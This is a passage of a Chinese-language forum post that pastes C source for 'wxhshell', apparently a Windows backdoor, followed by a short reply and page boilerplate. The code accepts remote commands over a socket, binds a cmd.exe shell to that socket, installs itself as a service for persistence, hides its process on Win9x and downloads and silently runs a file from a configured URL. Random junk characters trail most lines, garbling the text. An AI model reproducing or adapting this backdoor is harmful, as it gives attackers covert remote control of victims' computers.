  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QKDY:1]  
  } ;aExEgTq  
  else { lJP6s k  
aL$m  
    switch(cmd[0]) { h?jy'>T?b2  
  `VCU`Y  
  // 帮助 DBYD>UA  
  case '?': { @C{IgV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !2s< v  
    break; Nc:, [8{l  
  } /-Y*V*E  
  // 安装 W2G`K+p  
  case 'i': { al$G OMi  
    if(Install()) -h%;L5oJ2,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *|h-iA+9  
    else zA=gDuy3@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .|}ogTEf  
    break; PdcF  
    } [8l;X:  
  // 卸载 n|dLK.Q  
  case 'r': { W|_ @ju  
    if(Uninstall()) H)(@A W+-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !:PF |dZ  
    else FVNxjMm,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R| [mp%Q  
    break; Y [k%<f  
    } <GC<uB |p  
  // 显示 wxhshell 所在路径 w'oP{=y[  
  case 'p': { w-*$gk]   
    char svExeFile[MAX_PATH]; ^UHt1[  
    strcpy(svExeFile,"\n\r"); *9 M 5'  
      strcat(svExeFile,ExeFile); 'L4@|c~x  
        send(wsh,svExeFile,strlen(svExeFile),0); mO;X>~K  
    break; t<mT=(zt*  
    } t$^1A1Ef  
  // 重启 Z[<rz6%cB  
  case 'b': { m:CiXM   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i$gm/ZO  
    if(Boot(REBOOT)) r\Nf309~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7 "-9n  
    else { O3WhO@`6)  
    closesocket(wsh); 0Aw.aQ~E8i  
    ExitThread(0); zc>/1>?M  
    } VRurn>y0  
    break; 4vKp341B  
    } Bh$ hgf.C  
  // 关机 0i/l2&x*k]  
  case 'd': { RL7OFfMe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %m$TV@  
    if(Boot(SHUTDOWN)) Cg<:C?>!p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs,\{#  
    else { 25]Mi2_  
    closesocket(wsh); (dn(:<_$  
    ExitThread(0); dmI,+hHtL  
    } ;S5*n:d  
    break; pv*u[ffi  
    } o?@,f/" 5  
  // 获取shell ~?4'{Hc'  
  case 's': { l&2A]5C  
    CmdShell(wsh); ;M}'\.  
    closesocket(wsh); d%VG@./xq  
    ExitThread(0); T8+A`z=tSb  
    break; H'|b$rP0@  
  } %SuEfCM  
  // 退出 awLN>KI]</  
  case 'x': { :%cL(',Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @9~a3k|  
    CloseIt(wsh); 9,wd,,ta  
    break; n*~=O'  
    } W<C \g~\  
  // 离开 pi7Fd\A  
  case 'q': { rKEi1b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +>mbBu!7  
    closesocket(wsh); Lsv[@Rl  
    WSACleanup(); ]Tk3@jw+b  
    exit(1); #ky]@vyO  
    break; }z:g}".4  
        } )\#w=P  
  } 3`[f<XaL  
  } mpfc2>6Il.  
'7AlE!7%  
  // 提示信息 Q-o}Xnj*!L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7.)e4  
} !dQG 5v  
  } COPH)Bdq.  
S^0Po%d  
  return; aC:Sy^Tf  
} 5q?2?j/h  
Z]f_? @0  
// shell模块句柄 ))f%3_H  
int CmdShell(SOCKET sock) % B+W#Q`  
{ Si#I^aF`%  
STARTUPINFO si; t=M:L[bis;  
ZeroMemory(&si,sizeof(si)); C5oslP/@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sUA==k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9a}rE  
PROCESS_INFORMATION ProcessInfo; <?UbzT7X  
char cmdline[]="cmd"; 1%~yb Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ({JXv  
  return 0; e aLSq  
} , 6 P:S7  
tUouO0_l  
// 自身启动模式 /W&Ro5-  
int StartFromService(void) 'L|& qy@  
{ MzZYzz  
typedef struct !]AM#LJ  
{ feM%-  
  DWORD ExitStatus; }= OI (Wy  
  DWORD PebBaseAddress; OI0#@_L&  
  DWORD AffinityMask; 2z9\p%MX  
  DWORD BasePriority; _K"|}bM  
  ULONG UniqueProcessId; PqV9k,5f  
  ULONG InheritedFromUniqueProcessId; V|GH4DT=  
}   PROCESS_BASIC_INFORMATION; I^erMQn[ z  
_~V7m  
PROCNTQSIP NtQueryInformationProcess; LV|ZZ.d h  
faQ}J%a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qgREkb0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XFpII4 5  
&KinCh7l L  
  HANDLE             hProcess;  PI_MSiYQ  
  PROCESS_BASIC_INFORMATION pbi; k L\;90  
sq `f?tA?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M^^5JNY  
  if(NULL == hInst ) return 0; (IdXJvKU!  
EC(,-sz\Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7u[U%yd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cQ( zBf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &)jBr^x#>  
4q sIJJ[.  
  if (!NtQueryInformationProcess) return 0; 48;6C g  
ct,B0(]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X"_,#3Ko!  
  if(!hProcess) return 0; gc``z9@Xg  
`o~ dQb/k+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iSD E6  
|  RMIV  
  CloseHandle(hProcess); K.3)m]dCl  
%:i; eUKR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  2fZVBj  
if(hProcess==NULL) return 0; M- inlZNR  
XaT9`L<  
HMODULE hMod; )~/;Xl#b-  
char procName[255]; n8W+q~sW%  
unsigned long cbNeeded; N-XOPwx'  
/5cFa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #oBMA  
DUBEh@  
  CloseHandle(hProcess); ZH'- >/  
?,G CR1|4  
if(strstr(procName,"services")) return 1; // 以服务启动 h'*>\eC6  
c@H_f  
  return 0; // 注册表启动 7ux0|l  
} 1Rrp#E}  
lmmB=F  
// 主模块 >6fc` 3*!  
int StartWxhshell(LPSTR lpCmdLine) }:JE*D|  
{ f#4,2Xf  
  SOCKET wsl; JjBG9Rp{  
BOOL val=TRUE; QwF\s13  
  int port=0; U*Q1(C  
  struct sockaddr_in door; Dn{ hU $*  
wHneVqI/U  
  if(wscfg.ws_autoins) Install(); \HR<^xY  
"},0Cs  
port=atoi(lpCmdLine); ODS8bD0!i  
Md!L@gX6<  
if(port<=0) port=wscfg.ws_port; b| e7mis@  
yGGQ;!/  
  WSADATA data; K@uUe3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {+D 6o  
E?$|`<o{|`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %:61@<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Djv0]Sm^!  
  door.sin_family = AF_INET; i WCR 5c=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BS-nny  
  door.sin_port = htons(port); w[`2t{^j  
Po+I!TL'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y3!r;>2k=  
closesocket(wsl); Fk&W*<}/;  
return 1; 5Q_ T=TL  
} QGv$~A[h  
h7],/? s  
  if(listen(wsl,2) == INVALID_SOCKET) { .KzGb4U  
closesocket(wsl); Af *e:}}  
return 1; rByC6HV"  
} -e#~CE-  
  Wxhshell(wsl); pwj?  
  WSACleanup(); w5j6RQml  
*g0}pD;r  
return 0; %V40I{1  
a4'KiA2r  
} SVr3OyzI  
vTrjhTa\  
// 以NT服务方式启动 k7o49Y(#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =m<; Jx5  
{ =+I~K'2  
DWORD   status = 0; \*>r[6]*&5  
  DWORD   specificError = 0xfffffff; ~3]ZN'b\  
93Z/|7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bCv=Uo,+6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DV={bcQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U`{'-L.  
  serviceStatus.dwWin32ExitCode     = 0; "Jd!TLt\x  
  serviceStatus.dwServiceSpecificExitCode = 0; rL{3O4O  
  serviceStatus.dwCheckPoint       = 0; >Yr-aDV  
  serviceStatus.dwWaitHint       = 0; {_#~&IQ  
+ZuT\P&kR5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qG=?+em  
  if (hServiceStatusHandle==0) return; 977%9z<h  
c~_nO d  
status = GetLastError(); 96L-bBtyY  
  if (status!=NO_ERROR) 1|]IWX|  
{ Vjv~RNGF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dt1v`T~=?  
    serviceStatus.dwCheckPoint       = 0; nC-=CMWWr  
    serviceStatus.dwWaitHint       = 0; k,) xv?  
    serviceStatus.dwWin32ExitCode     = status; zWN/>~}U \  
    serviceStatus.dwServiceSpecificExitCode = specificError; tyEa5sy4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (s:ihpI  
    return; D'{NEk@  
  }  18(hrj  
s^atBqw,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <>gX'te  
  serviceStatus.dwCheckPoint       = 0; TH;kJ{[}  
  serviceStatus.dwWaitHint       = 0; ny(`An  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;$`5L"I5$  
} ' 7lHWqN<  
4*j6~  
// 处理NT服务事件,比如:启动、停止 |@84l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l|, Hj  
{ NNKI+!vg  
switch(fdwControl) Z&f@)j  
{ )K=%s%3h<  
case SERVICE_CONTROL_STOP: 3K8#,TK3  
  serviceStatus.dwWin32ExitCode = 0; -?jI{].:8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A* 1-2  
  serviceStatus.dwCheckPoint   = 0; /G{;?R  
  serviceStatus.dwWaitHint     = 0; {B!LhvYAH  
  { kIC $ai6.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O\3 L x  
  } |4$.mb.  
  return; 8OS@gpz  
case SERVICE_CONTROL_PAUSE: nC:>1 kt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n\-nBrVSf  
  break;  U(d K  
case SERVICE_CONTROL_CONTINUE: ?L%BD7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^{V t  
  break; #8Bs15aV  
case SERVICE_CONTROL_INTERROGATE: u-8b,$@Z>'  
  break; S.<aCN<@  
}; p`dH4y]D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Z#0kpXk_  
} #9( 0.!v  
@3^D[  
// 标准应用程序主函数 ?%|w?Fdx-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _u[2R=h  
{ 1g{-DIOmn  
Nldy76|g  
// 获取操作系统版本 u<g0oEs)  
OsIsNt=GetOsVer(); r<%ua6@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H^VNw1.   
S7B7'[ru  
  // 从命令行安装 >/]` f8^  
  if(strpbrk(lpCmdLine,"iI")) Install(); Io(*_3V)B  
2`|gnVw  
  // 下载执行文件 H%nA"-  
if(wscfg.ws_downexe) { D]?eRO9'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pmWt7 }  
  WinExec(wscfg.ws_filenam,SW_HIDE); +jEtu[ ;  
} 9}[UZN6  
Q.U wtH  
if(!OsIsNt) { '3p7ee&  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jw 4#u5$$Z  
HideProc(); ^vj}  
StartWxhshell(lpCmdLine); s~z~9#G(6  
} }&*wJ]j`L  
else *(,zPn,  
  if(StartFromService()) { R`"Nk  
  // 以服务方式启动 'bd|Oww1u  
  StartServiceCtrlDispatcher(DispatchTable); s|`ZV^R  
else yd}1Mx  
  // 普通方式启动 +HXR ))X  
  StartWxhshell(lpCmdLine); 8opd0'SNaB  
rW P -Rm  
return 0; o]@Mg5(8Q  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八